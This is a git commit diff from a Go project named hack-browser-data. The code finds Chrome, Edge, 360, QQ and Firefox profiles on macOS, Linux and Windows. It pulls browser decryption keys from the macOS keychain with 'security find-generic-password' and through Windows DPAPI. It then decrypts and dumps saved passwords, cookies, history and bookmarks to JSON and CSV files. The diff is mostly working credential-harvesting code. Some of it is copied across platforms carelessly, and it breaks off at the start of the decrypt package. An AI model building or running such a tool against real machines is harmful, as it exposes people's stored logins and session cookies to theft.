refactor code Closes #13
	
		
	
				
					
				
			
							parent
							
								
									23b9cf97f7
								
							
						
					
					
						commit
						73b3075806
					
				| @ -0,0 +1,393 @@ | ||||
| package core | ||||
| 
 | ||||
| import ( | ||||
| 	"errors" | ||||
| 	"hack-browser-data/core/common" | ||||
| 	"hack-browser-data/log" | ||||
| 	"hack-browser-data/utils" | ||||
| 	"path/filepath" | ||||
| 	"strings" | ||||
| ) | ||||
| 
 | ||||
| const ( | ||||
| 	chromeName    = "Chrome" | ||||
| 	edgeName      = "Microsoft Edge" | ||||
| 	firefoxName   = "Firefox" | ||||
| 	speed360Name  = "360speed" | ||||
| 	qqBrowserName = "qq" | ||||
| ) | ||||
| 
 | ||||
| type Browser interface { | ||||
| 	GetProfilePath(filename string) (err error) | ||||
| 	InitSecretKey() error | ||||
| 	ParseDB() | ||||
| 	OutPut(dir, format string) | ||||
| } | ||||
| 
 | ||||
| type chromium struct { | ||||
| 	ProfilePath string | ||||
| 	KeyPath     string | ||||
| 	Name        string | ||||
| 	SecretKey   []byte | ||||
| 	FileLists   []FileList | ||||
| 	Data        common.BrowserData | ||||
| } | ||||
| 
 | ||||
| type firefox struct { | ||||
| 	ProfilePath string | ||||
| 	KeyPath     string | ||||
| 	Name        string | ||||
| 	FileLists   []FileList | ||||
| 	Data        common.BrowserData | ||||
| } | ||||
| 
 | ||||
| type FileList struct { | ||||
| 	name     string | ||||
| 	mainFile string | ||||
| 	mainPath string | ||||
| 	subFile  string | ||||
| 	subPath  string | ||||
| } | ||||
| 
 | ||||
| const ( | ||||
| 	cookie   = "cookie" | ||||
| 	history  = "history" | ||||
| 	bookmark = "bookmark" | ||||
| 	password = "password" | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	ErrDataNotSupported    = errors.New(`not supported, default is "all", choose from history|password|bookmark|cookie`) | ||||
| 	ErrBrowserNotSupported = errors.New("browser not supported") | ||||
| 	chromiumParseList      = map[string]FileList{ | ||||
| 		cookie: { | ||||
| 			name:     cookie, | ||||
| 			mainFile: common.ChromeCookies, | ||||
| 		}, | ||||
| 		history: { | ||||
| 			name:     history, | ||||
| 			mainFile: common.ChromeHistory, | ||||
| 		}, | ||||
| 		bookmark: { | ||||
| 			name:     bookmark, | ||||
| 			mainFile: common.ChromeBookmarks, | ||||
| 		}, | ||||
| 		password: { | ||||
| 			name:     password, | ||||
| 			mainFile: common.ChromePassword, | ||||
| 		}, | ||||
| 	} | ||||
| 	firefoxParseList = map[string]FileList{ | ||||
| 		cookie: { | ||||
| 			name:     cookie, | ||||
| 			mainFile: common.FirefoxCookie, | ||||
| 		}, | ||||
| 		history: { | ||||
| 			name:     history, | ||||
| 			mainFile: common.FirefoxData, | ||||
| 		}, | ||||
| 		bookmark: { | ||||
| 			name:     bookmark, | ||||
| 			mainFile: common.FirefoxData, | ||||
| 		}, | ||||
| 		password: { | ||||
| 			name:     password, | ||||
| 			mainFile: common.FirefoxKey4DB, | ||||
| 			subFile:  common.FirefoxLoginData, | ||||
| 		}, | ||||
| 	} | ||||
| ) | ||||
| 
 | ||||
| func (c *chromium) GetProfilePath(filename string) (err error) { | ||||
| 	filename = strings.ToLower(filename) | ||||
| 	if filename == "all" { | ||||
| 		for _, v := range chromiumParseList { | ||||
| 			m, err := filepath.Glob(c.ProfilePath + v.mainFile) | ||||
| 			if err != nil { | ||||
| 				log.Error(err) | ||||
| 				continue | ||||
| 			} | ||||
| 			if len(m) > 0 { | ||||
| 				log.Debugf("%s find %s File Success", c.Name, v.name) | ||||
| 				log.Debugf("%s file location is %s", v, m[0]) | ||||
| 				v.mainPath = m[0] | ||||
| 				c.FileLists = append(c.FileLists, v) | ||||
| 			} else { | ||||
| 				log.Errorf("%+v find %s failed", c.Name, v.name) | ||||
| 			} | ||||
| 		} | ||||
| 	} else if v, ok := chromiumParseList[filename]; ok { | ||||
| 		m, err := filepath.Glob(c.ProfilePath + v.mainFile) | ||||
| 		if err != nil { | ||||
| 			log.Error(err) | ||||
| 		} | ||||
| 		if len(m) > 0 { | ||||
| 			log.Debugf("%s find %s File Success", c.Name, v) | ||||
| 			log.Debugf("%s file location is %s", v, m[0]) | ||||
| 			v.mainPath = m[0] | ||||
| 			c.FileLists = append(c.FileLists, v) | ||||
| 		} | ||||
| 	} else { | ||||
| 		return ErrDataNotSupported | ||||
| 	} | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (c *chromium) ParseDB() { | ||||
| 	for _, v := range c.FileLists { | ||||
| 		err := utils.CopyDB(v.mainPath, filepath.Base(v.mainPath)) | ||||
| 		if err != nil { | ||||
| 			log.Error(err) | ||||
| 		} | ||||
| 		switch v.name { | ||||
| 		case bookmark: | ||||
| 			if err := chromeParse(c.SecretKey, &c.Data.Bookmarks); err != nil { | ||||
| 				log.Error(err) | ||||
| 			} | ||||
| 		case history: | ||||
| 			if err := chromeParse(c.SecretKey, &c.Data.History); err != nil { | ||||
| 				log.Error(err) | ||||
| 			} | ||||
| 		case password: | ||||
| 			if err := chromeParse(c.SecretKey, &c.Data.Logins); err != nil { | ||||
| 				log.Error(err) | ||||
| 			} | ||||
| 		case cookie: | ||||
| 			if err := chromeParse(c.SecretKey, &c.Data.Cookies); err != nil { | ||||
| 				log.Error(err) | ||||
| 			} | ||||
| 		} | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (c *chromium) OutPut(dir, format string) { | ||||
| 	c.Data.Sorted() | ||||
| 	switch format { | ||||
| 	case "json": | ||||
| 		for _, v := range c.FileLists { | ||||
| 			switch v.name { | ||||
| 			case bookmark: | ||||
| 				if err := outPutJson(c.Name, dir, &c.Data.Bookmarks); err != nil { | ||||
| 					log.Error(err) | ||||
| 				} | ||||
| 			case history: | ||||
| 				if err := outPutJson(c.Name, dir, &c.Data.History); err != nil { | ||||
| 					log.Error(err) | ||||
| 				} | ||||
| 			case password: | ||||
| 				if err := outPutJson(c.Name, dir, &c.Data.Logins); err != nil { | ||||
| 					log.Error(err) | ||||
| 				} | ||||
| 			case cookie: | ||||
| 				if err := outPutJson(c.Name, dir, &c.Data.Cookies); err != nil { | ||||
| 					log.Error(err) | ||||
| 				} | ||||
| 			} | ||||
| 		} | ||||
| 	case "csv": | ||||
| 		for _, v := range c.FileLists { | ||||
| 			switch v.name { | ||||
| 			case bookmark: | ||||
| 				if err := outPutCsv(c.Name, dir, &c.Data.Bookmarks); err != nil { | ||||
| 					log.Error(err) | ||||
| 				} | ||||
| 			case history: | ||||
| 				if err := outPutCsv(c.Name, dir, &c.Data.History); err != nil { | ||||
| 					log.Error(err) | ||||
| 				} | ||||
| 			case password: | ||||
| 				if err := outPutCsv(c.Name, dir, &c.Data.Logins); err != nil { | ||||
| 					log.Error(err) | ||||
| 				} | ||||
| 			case cookie: | ||||
| 				if err := outPutCsv(c.Name, dir, &c.Data.Cookies); err != nil { | ||||
| 					log.Error(err) | ||||
| 				} | ||||
| 			} | ||||
| 		} | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func decryptChromium(profile, key, name string) (Browser, error) { | ||||
| 	return &chromium{ProfilePath: profile, KeyPath: key, Name: name}, nil | ||||
| } | ||||
| 
 | ||||
| func (f *firefox) ParseDB() { | ||||
| 	for _, v := range f.FileLists { | ||||
| 		err := utils.CopyDB(v.mainPath, filepath.Base(v.mainPath)) | ||||
| 		if v.subPath != "" { | ||||
| 			err := utils.CopyDB(v.subPath, filepath.Base(v.subPath)) | ||||
| 			if err != nil { | ||||
| 				log.Error(err) | ||||
| 			} | ||||
| 		} | ||||
| 		if err != nil { | ||||
| 			log.Error(err) | ||||
| 		} | ||||
| 		switch v.name { | ||||
| 		case password: | ||||
| 			if err := firefoxParse(&f.Data.Logins); err != nil { | ||||
| 				log.Error(err) | ||||
| 			} | ||||
| 		case bookmark: | ||||
| 			if err := firefoxParse(&f.Data.Bookmarks); err != nil { | ||||
| 				log.Error(err) | ||||
| 			} | ||||
| 		case history: | ||||
| 			if err := firefoxParse(&f.Data.History); err != nil { | ||||
| 				log.Error(err) | ||||
| 			} | ||||
| 		case cookie: | ||||
| 			if err := firefoxParse(&f.Data.Cookies); err != nil { | ||||
| 				log.Error(err) | ||||
| 			} | ||||
| 		} | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (f *firefox) GetProfilePath(filename string) (err error) { | ||||
| 	filename = strings.ToLower(filename) | ||||
| 	if filename == "all" { | ||||
| 		for _, v := range firefoxParseList { | ||||
| 			m, err := filepath.Glob(f.ProfilePath + v.mainFile) | ||||
| 			if v.subFile != "" { | ||||
| 				s, err := filepath.Glob(f.ProfilePath + v.subFile) | ||||
| 				if err != nil { | ||||
| 					log.Error(err) | ||||
| 					continue | ||||
| 				} | ||||
| 				if len(s) > 0 { | ||||
| 					log.Debugf("%s find %s File Success", f.Name, v.name) | ||||
| 					log.Debugf("%s file location is %s", v, s[0]) | ||||
| 					v.subPath = s[0] | ||||
| 				} | ||||
| 			} | ||||
| 			if err != nil { | ||||
| 				log.Error(err) | ||||
| 				continue | ||||
| 			} | ||||
| 			if len(m) > 0 { | ||||
| 				log.Debugf("%s find %s File Success", f.Name, v.name) | ||||
| 				log.Debugf("%+v file location is %s", v, m[0]) | ||||
| 				v.mainPath = m[0] | ||||
| 				f.FileLists = append(f.FileLists, v) | ||||
| 			} else { | ||||
| 				log.Errorf("%s find %s failed", f.Name, v.name) | ||||
| 			} | ||||
| 		} | ||||
| 	} else if v, ok := firefoxParseList[filename]; ok { | ||||
| 		m, err := filepath.Glob(f.ProfilePath + v.mainFile) | ||||
| 		if err != nil { | ||||
| 			log.Error(err) | ||||
| 		} | ||||
| 		if len(m) > 0 { | ||||
| 			log.Debugf("%s find %s File Success", f.Name, v) | ||||
| 			log.Debugf("%s file location is %s", v, m[0]) | ||||
| 			v.mainPath = m[0] | ||||
| 			f.FileLists = append(f.FileLists, v) | ||||
| 		} | ||||
| 	} else { | ||||
| 		return ErrDataNotSupported | ||||
| 	} | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (f *firefox) OutPut(dir, format string) { | ||||
| 	f.Data.Sorted() | ||||
| 	switch format { | ||||
| 	case "json": | ||||
| 		for _, v := range f.FileLists { | ||||
| 			switch v.name { | ||||
| 			case bookmark: | ||||
| 				if err := outPutJson(f.Name, dir, &f.Data.Bookmarks); err != nil { | ||||
| 					log.Error(err) | ||||
| 				} | ||||
| 			case history: | ||||
| 				if err := outPutJson(f.Name, dir, &f.Data.History); err != nil { | ||||
| 					log.Error(err) | ||||
| 				} | ||||
| 			case password: | ||||
| 				if err := outPutJson(f.Name, dir, &f.Data.Logins); err != nil { | ||||
| 					log.Error(err) | ||||
| 				} | ||||
| 			case cookie: | ||||
| 				if err := outPutJson(f.Name, dir, &f.Data.Cookies); err != nil { | ||||
| 					log.Error(err) | ||||
| 				} | ||||
| 			} | ||||
| 		} | ||||
| 	case "csv": | ||||
| 		for _, v := range f.FileLists { | ||||
| 			switch v.name { | ||||
| 			case bookmark: | ||||
| 				if err := outPutCsv(f.Name, dir, &f.Data.Bookmarks); err != nil { | ||||
| 					log.Error(err) | ||||
| 				} | ||||
| 			case history: | ||||
| 				if err := outPutCsv(f.Name, dir, &f.Data.History); err != nil { | ||||
| 					log.Error(err) | ||||
| 				} | ||||
| 			case password: | ||||
| 				if err := outPutCsv(f.Name, dir, &f.Data.Logins); err != nil { | ||||
| 					log.Error(err) | ||||
| 				} | ||||
| 			case cookie: | ||||
| 				if err := outPutCsv(f.Name, dir, &f.Data.Cookies); err != nil { | ||||
| 					log.Error(err) | ||||
| 				} | ||||
| 			} | ||||
| 		} | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (f *firefox) InitSecretKey() error { | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func decryptFirefox(profile, key, name string) (Browser, error) { | ||||
| 	return &firefox{ProfilePath: profile, KeyPath: key, Name: name}, nil | ||||
| } | ||||
| 
 | ||||
| func PickBrowsers(name string) ([]Browser, error) { | ||||
| 	var browsers []Browser | ||||
| 	name = strings.ToLower(name) | ||||
| 	if name == "all" { | ||||
| 		for _, v := range browserList { | ||||
| 			b, err := v.New(v.ProfilePath, v.KeyPath, v.Name) | ||||
| 			if err != nil { | ||||
| 				log.Error(err) | ||||
| 			} | ||||
| 			browsers = append(browsers, b) | ||||
| 		} | ||||
| 		return browsers, nil | ||||
| 	} else if choice, ok := browserList[name]; ok { | ||||
| 		b, err := choice.New(choice.ProfilePath, choice.KeyPath, choice.Name) | ||||
| 		browsers = append(browsers, b) | ||||
| 		return browsers, err | ||||
| 	} | ||||
| 	return nil, ErrBrowserNotSupported | ||||
| } | ||||
| 
 | ||||
| func chromeParse(key []byte, f common.Formatter) error { | ||||
| 	return f.ChromeParse(key) | ||||
| } | ||||
| 
 | ||||
| func firefoxParse(f common.Formatter) error { | ||||
| 	return f.FirefoxParse() | ||||
| } | ||||
| 
 | ||||
| func outPutJson(name, dir string, f common.Formatter) error { | ||||
| 	return f.OutPutJson(name, dir) | ||||
| } | ||||
| 
 | ||||
| func outPutCsv(name, dir string, f common.Formatter) error { | ||||
| 	return f.OutPutCsv(name, dir) | ||||
| } | ||||
| 
 | ||||
| func ListBrowser() []string { | ||||
| 	var l []string | ||||
| 	for k := range browserList { | ||||
| 		l = append(l, k) | ||||
| 	} | ||||
| 	return l | ||||
| } | ||||
| @ -0,0 +1,69 @@ | ||||
| package core | ||||
| 
 | ||||
| import ( | ||||
| 	"bytes" | ||||
| 	"crypto/sha1" | ||||
| 	"errors" | ||||
| 	"hack-browser-data/log" | ||||
| 	"os/exec" | ||||
| 
 | ||||
| 	"golang.org/x/crypto/pbkdf2" | ||||
| ) | ||||
| 
 | ||||
| const ( | ||||
| 	chromeProfilePath  = "/Users/*/Library/Application Support/Google/Chrome/*/" | ||||
| 	edgeProfilePath    = "/Users/*/Library/Application Support/Microsoft Edge/*/" | ||||
| 	fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-release/" | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	browserList = map[string]struct { | ||||
| 		ProfilePath string | ||||
| 		Name        string | ||||
| 		KeyPath     string | ||||
| 		New         func(profile, key, name string) (Browser, error) | ||||
| 	}{ | ||||
| 		"chrome": { | ||||
| 			ProfilePath: chromeProfilePath, | ||||
| 			Name:        chromeName, | ||||
| 			New:         decryptChromium, | ||||
| 		}, | ||||
| 		"edge": { | ||||
| 			ProfilePath: edgeProfilePath, | ||||
| 			Name:        edgeName, | ||||
| 			New:         decryptChromium, | ||||
| 		}, | ||||
| 		"firefox": { | ||||
| 			ProfilePath: fireFoxProfilePath, | ||||
| 			Name:        firefoxName, | ||||
| 			New:         decryptFirefox, | ||||
| 		}, | ||||
| 	} | ||||
| ) | ||||
| 
 | ||||
| func (c *chromium) InitSecretKey() error { | ||||
| 	var ( | ||||
| 		cmd            *exec.Cmd | ||||
| 		stdout, stderr bytes.Buffer | ||||
| 	) | ||||
| 	//➜ security find-generic-password -wa 'Chrome'
 | ||||
| 	cmd = exec.Command("security", "find-generic-password", "-wa", c.Name) | ||||
| 	cmd.Stdout = &stdout | ||||
| 	cmd.Stderr = &stderr | ||||
| 	err := cmd.Run() | ||||
| 	if err != nil { | ||||
| 		log.Error(err) | ||||
| 		return err | ||||
| 	} | ||||
| 	if stderr.Len() > 0 { | ||||
| 		err = errors.New(stderr.String()) | ||||
| 		log.Error(err) | ||||
| 	} | ||||
| 	temp := stdout.Bytes() | ||||
| 	chromePass := temp[:len(temp)-1] | ||||
| 	var chromeSalt = []byte("saltysalt") | ||||
| 	// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
 | ||||
| 	key := pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New) | ||||
| 	c.SecretKey = key | ||||
| 	return err | ||||
| } | ||||
| @ -0,0 +1,58 @@ | ||||
| package core | ||||
| 
 | ||||
| import ( | ||||
| 	"bytes" | ||||
| 	"crypto/sha1" | ||||
| 	"errors" | ||||
| 	"hack-browser-data/log" | ||||
| 	"os/exec" | ||||
| 
 | ||||
| 	"golang.org/x/crypto/pbkdf2" | ||||
| ) | ||||
| 
 | ||||
| const ( | ||||
| 	fireFoxProfilePath = "/home/*/.mozilla/firefox/*.default-release/" | ||||
| 	fireFoxCommand     = "" | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	browserList = map[string]struct { | ||||
| 		ProfilePath string | ||||
| 		Name        string | ||||
| 		KeyPath     string | ||||
| 		New         func(profile, key, name string) (Browser, error) | ||||
| 	}{ | ||||
| 		"firefox": { | ||||
| 			ProfilePath: fireFoxProfilePath, | ||||
| 			Name:        fireFoxCommand, | ||||
| 			New:         decryptFirefox, | ||||
| 		}, | ||||
| 	} | ||||
| ) | ||||
| 
 | ||||
| func (c *chromium) InitSecretKey() error { | ||||
| 	var ( | ||||
| 		cmd            *exec.Cmd | ||||
| 		stdout, stderr bytes.Buffer | ||||
| 	) | ||||
| 	//➜ security find-generic-password -wa 'Chrome'
 | ||||
| 	cmd = exec.Command("security", "find-generic-password", "-wa", c.Name) | ||||
| 	cmd.Stdout = &stdout | ||||
| 	cmd.Stderr = &stderr | ||||
| 	err := cmd.Run() | ||||
| 	if err != nil { | ||||
| 		log.Error(err) | ||||
| 		return err | ||||
| 	} | ||||
| 	if stderr.Len() > 0 { | ||||
| 		err = errors.New(stderr.String()) | ||||
| 		log.Error(err) | ||||
| 	} | ||||
| 	temp := stdout.Bytes() | ||||
| 	chromePass := temp[:len(temp)-1] | ||||
| 	var chromeSalt = []byte("saltysalt") | ||||
| 	// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
 | ||||
| 	key := pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New) | ||||
| 	c.SecretKey = key | ||||
| 	return err | ||||
| } | ||||
| @ -0,0 +1,85 @@ | ||||
| package core | ||||
| 
 | ||||
| import ( | ||||
| 	"encoding/base64" | ||||
| 	"errors" | ||||
| 	"hack-browser-data/core/decrypt" | ||||
| 	"hack-browser-data/utils" | ||||
| 	"os" | ||||
| 
 | ||||
| 	"github.com/tidwall/gjson" | ||||
| ) | ||||
| 
 | ||||
| const ( | ||||
| 	chromeProfilePath    = "/AppData/Local/Google/Chrome/User Data/*/" | ||||
| 	chromeKeyPath        = "/AppData/Local/Google/Chrome/User Data/Local State" | ||||
| 	edgeProfilePath      = "/AppData/Local/Microsoft/Edge/User Data/*/" | ||||
| 	edgeKeyPath          = "/AppData/Local/Microsoft/Edge/User Data/Local State" | ||||
| 	speed360ProfilePath  = "/AppData/Local/360chrome/Chrome/User Data/*/" | ||||
| 	speed360KeyPath      = "" | ||||
| 	qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/*/" | ||||
| 	qqBrowserKeyPath     = "" | ||||
| 	firefoxProfilePath   = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-release/" | ||||
| 	firefoxKeyPath       = "" | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	browserList = map[string]struct { | ||||
| 		ProfilePath string | ||||
| 		Name        string | ||||
| 		KeyPath     string | ||||
| 		New         func(profile, key, name string) (Browser, error) | ||||
| 	}{ | ||||
| 		"chrome": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + chromeProfilePath, | ||||
| 			KeyPath:     os.Getenv("USERPROFILE") + chromeKeyPath, | ||||
| 			Name:        chromeName, | ||||
| 			New:         decryptChromium, | ||||
| 		}, | ||||
| 		"edge": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + edgeProfilePath, | ||||
| 			KeyPath:     os.Getenv("USERPROFILE") + edgeKeyPath, | ||||
| 			Name:        edgeName, | ||||
| 			New:         decryptChromium, | ||||
| 		}, | ||||
| 		"360": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + speed360ProfilePath, | ||||
| 			Name:        speed360Name, | ||||
| 			New:         decryptChromium, | ||||
| 		}, | ||||
| 		"qq": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + qqBrowserProfilePath, | ||||
| 			Name:        qqBrowserName, | ||||
| 			New:         decryptChromium, | ||||
| 		}, | ||||
| 		"firefox": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + firefoxProfilePath, | ||||
| 			Name:        firefoxName, | ||||
| 			New:         decryptFirefox, | ||||
| 		}, | ||||
| 	} | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	errBase64DecodeFailed = errors.New("decode base64 failed") | ||||
| ) | ||||
| 
 | ||||
| func (c *chromium) InitSecretKey() error { | ||||
| 	if c.KeyPath == "" { | ||||
| 		return nil | ||||
| 	} | ||||
| 	keyFile, err := utils.ReadFile(c.KeyPath) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	encryptedKey := gjson.Get(keyFile, "os_crypt.encrypted_key") | ||||
| 	if encryptedKey.Exists() { | ||||
| 		pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String()) | ||||
| 		if err != nil { | ||||
| 			return errBase64DecodeFailed | ||||
| 		} | ||||
| 		c.SecretKey, err = decrypt.DPApi(pureKey[5:]) | ||||
| 		return err | ||||
| 	} | ||||
| 	return nil | ||||
| } | ||||
| @ -0,0 +1,218 @@ | ||||
| package common | ||||
| 
 | ||||
| import ( | ||||
| 	"bytes" | ||||
| 	"encoding/json" | ||||
| 	"fmt" | ||||
| 	"hack-browser-data/log" | ||||
| 	"hack-browser-data/utils" | ||||
| 	"os" | ||||
| 
 | ||||
| 	"github.com/jszwec/csvutil" | ||||
| ) | ||||
| 
 | ||||
| var utf8Bom = []byte{239, 187, 191} | ||||
| 
 | ||||
| func (b *Bookmarks) OutPutJson(browser, dir string) error { | ||||
| 	filename := utils.FormatFileName(dir, browser, "bookmark", "json") | ||||
| 	file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) | ||||
| 	defer func() { | ||||
| 		if err := file.Close(); err != nil { | ||||
| 			log.Error(err) | ||||
| 		} | ||||
| 	}() | ||||
| 
 | ||||
| 	if err != nil { | ||||
| 		log.Errorf("create file %s fail", filename) | ||||
| 		return err | ||||
| 	} | ||||
| 	w := new(bytes.Buffer) | ||||
| 	enc := json.NewEncoder(w) | ||||
| 	enc.SetEscapeHTML(false) | ||||
| 	enc.SetIndent("", "\t") | ||||
| 	enc.Encode(b.bookmarks) | ||||
| 	_, err = file.Write(w.Bytes()) | ||||
| 	if err != nil { | ||||
| 		log.Error(err) | ||||
| 		return err | ||||
| 	} | ||||
| 	fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.bookmarks), filename) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (h *History) OutPutJson(browser, dir string) error { | ||||
| 	filename := utils.FormatFileName(dir, browser, "history", "json") | ||||
| 	file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) | ||||
| 	defer func() { | ||||
| 		if err := file.Close(); err != nil { | ||||
| 			log.Error(err) | ||||
| 		} | ||||
| 	}() | ||||
| 	if err != nil { | ||||
| 		log.Errorf("create file %s fail", filename) | ||||
| 		return err | ||||
| 	} | ||||
| 	w := new(bytes.Buffer) | ||||
| 	enc := json.NewEncoder(w) | ||||
| 	enc.SetEscapeHTML(false) | ||||
| 	enc.SetIndent("", "\t") | ||||
| 	err = enc.Encode(h.history) | ||||
| 	if err != nil { | ||||
| 		log.Debug(err) | ||||
| 	} | ||||
| 	_, err = file.Write(w.Bytes()) | ||||
| 	if err != nil { | ||||
| 		log.Error(err) | ||||
| 		return err | ||||
| 	} | ||||
| 	fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(h.history), filename) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (l *Logins) OutPutJson(browser, dir string) error { | ||||
| 	filename := utils.FormatFileName(dir, browser, "password", "json") | ||||
| 	file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) | ||||
| 	defer func() { | ||||
| 		if err := file.Close(); err != nil { | ||||
| 			log.Error(err) | ||||
| 		} | ||||
| 	}() | ||||
| 	if err != nil { | ||||
| 		log.Errorf("create file %s fail", filename) | ||||
| 		return err | ||||
| 	} | ||||
| 	w := new(bytes.Buffer) | ||||
| 	enc := json.NewEncoder(w) | ||||
| 	enc.SetEscapeHTML(false) | ||||
| 	enc.SetIndent("", "\t") | ||||
| 	err = enc.Encode(l.logins) | ||||
| 	if err != nil { | ||||
| 		log.Debug(err) | ||||
| 	} | ||||
| 	_, err = file.Write(w.Bytes()) | ||||
| 	if err != nil { | ||||
| 		log.Error(err) | ||||
| 		return err | ||||
| 	} | ||||
| 	fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(l.logins), filename) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (c *Cookies) OutPutJson(browser, dir string) error { | ||||
| 	filename := utils.FormatFileName(dir, browser, "cookie", "json") | ||||
| 	file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) | ||||
| 	defer func() { | ||||
| 		if err := file.Close(); err != nil { | ||||
| 			log.Error(err) | ||||
| 		} | ||||
| 	}() | ||||
| 	if err != nil { | ||||
| 		log.Errorf("create file %s fail", filename) | ||||
| 		return err | ||||
| 	} | ||||
| 	w := new(bytes.Buffer) | ||||
| 	enc := json.NewEncoder(w) | ||||
| 	enc.SetEscapeHTML(false) | ||||
| 	enc.SetIndent("", "\t") | ||||
| 	err = enc.Encode(c.cookies) | ||||
| 	if err != nil { | ||||
| 		log.Debug(err) | ||||
| 		return err | ||||
| 	} | ||||
| 	_, err = file.Write(w.Bytes()) | ||||
| 	if err != nil { | ||||
| 		log.Error(err) | ||||
| 		return err | ||||
| 	} | ||||
| 	fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(c.cookies), filename) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (b *Bookmarks) OutPutCsv(browser, dir string) error { | ||||
| 	filename := utils.FormatFileName(dir, browser, "bookmark", "csv") | ||||
| 	file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) | ||||
| 	defer func() { | ||||
| 		if err := file.Close(); err != nil { | ||||
| 			log.Error(err) | ||||
| 		} | ||||
| 	}() | ||||
| 	if err != nil { | ||||
| 		log.Errorf("create file %s fail %s", filename, err) | ||||
| 		return err | ||||
| 	} | ||||
| 	file.Write(utf8Bom) | ||||
| 	data, err := csvutil.Marshal(b.bookmarks) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	file.Write(data) | ||||
| 	fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.bookmarks), filename) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (h *History) OutPutCsv(browser, dir string) error { | ||||
| 	filename := utils.FormatFileName(dir, browser, "history", "csv") | ||||
| 	file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) | ||||
| 	defer func() { | ||||
| 		if err := file.Close(); err != nil { | ||||
| 			log.Error(err) | ||||
| 		} | ||||
| 	}() | ||||
| 	if err != nil { | ||||
| 		log.Errorf("create file %s fail %s", filename, err) | ||||
| 		return err | ||||
| 	} | ||||
| 	file.Write(utf8Bom) | ||||
| 	data, err := csvutil.Marshal(h.history) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	file.Write(data) | ||||
| 	fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(h.history), filename) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (l *Logins) OutPutCsv(browser, dir string) error { | ||||
| 	filename := utils.FormatFileName(dir, browser, "password", "csv") | ||||
| 	file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) | ||||
| 	defer func() { | ||||
| 		if err := file.Close(); err != nil { | ||||
| 			log.Error(err) | ||||
| 		} | ||||
| 	}() | ||||
| 	if err != nil { | ||||
| 		log.Errorf("create file %s fail %s", filename, err) | ||||
| 		return err | ||||
| 	} | ||||
| 	file.Write(utf8Bom) | ||||
| 	data, err := csvutil.Marshal(l.logins) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	file.Write(data) | ||||
| 	fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(l.logins), filename) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (c *Cookies) OutPutCsv(browser, dir string) error { | ||||
| 	filename := utils.FormatFileName(dir, browser, "cookie", "csv") | ||||
| 	file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) | ||||
| 	defer func() { | ||||
| 		if err := file.Close(); err != nil { | ||||
| 			log.Error(err) | ||||
| 		} | ||||
| 	}() | ||||
| 	if err != nil { | ||||
| 		log.Errorf("create file %s fail", filename) | ||||
| 		return err | ||||
| 	} | ||||
| 	var tempSlice []cookies | ||||
| 	for _, v := range c.cookies { | ||||
| 		tempSlice = append(tempSlice, v...) | ||||
| 	} | ||||
| 	file.Write(utf8Bom) | ||||
| 	data, err := csvutil.Marshal(tempSlice) | ||||
| 	file.Write(data) | ||||
| 	fmt.Printf("%s Get %d cookies, filename is %s \n", log.Prefix, len(c.cookies), filename) | ||||
| 	return nil | ||||
| } | ||||
| @ -0,0 +1,85 @@ | ||||
| package decrypt | ||||
| 
 | ||||
| import ( | ||||
